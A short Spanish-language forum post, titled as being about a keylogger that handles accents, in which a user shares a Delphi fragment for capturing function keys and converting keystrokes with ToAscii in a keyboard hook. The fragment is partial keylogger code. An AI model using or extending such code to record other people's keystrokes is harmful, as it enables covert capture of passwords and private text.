Keylogger con acentos y más..

[breadagast]

Hola, me contesto a mi mismo por si a alguien le viene bien.

Para capturar las teclas de función sólo hay que poner el siguiente código:

 if not AltDWN then
    KeyState1[VK_RMENU] := 0;

if (VirtualKey in [112 .. 123]) then
    begin
      SendMessage(pFHandle^, KeyMsg, VirtualKey, KeyStroke);
    end
    else
    begin
      Count := ToAscii(VirtualKey, KeyStroke, KeyState1, @AryChar[1], 0);
      ToAscii(VirtualKey, KeyStroke, KeyState1, @AryChar[1], 0);    
      ...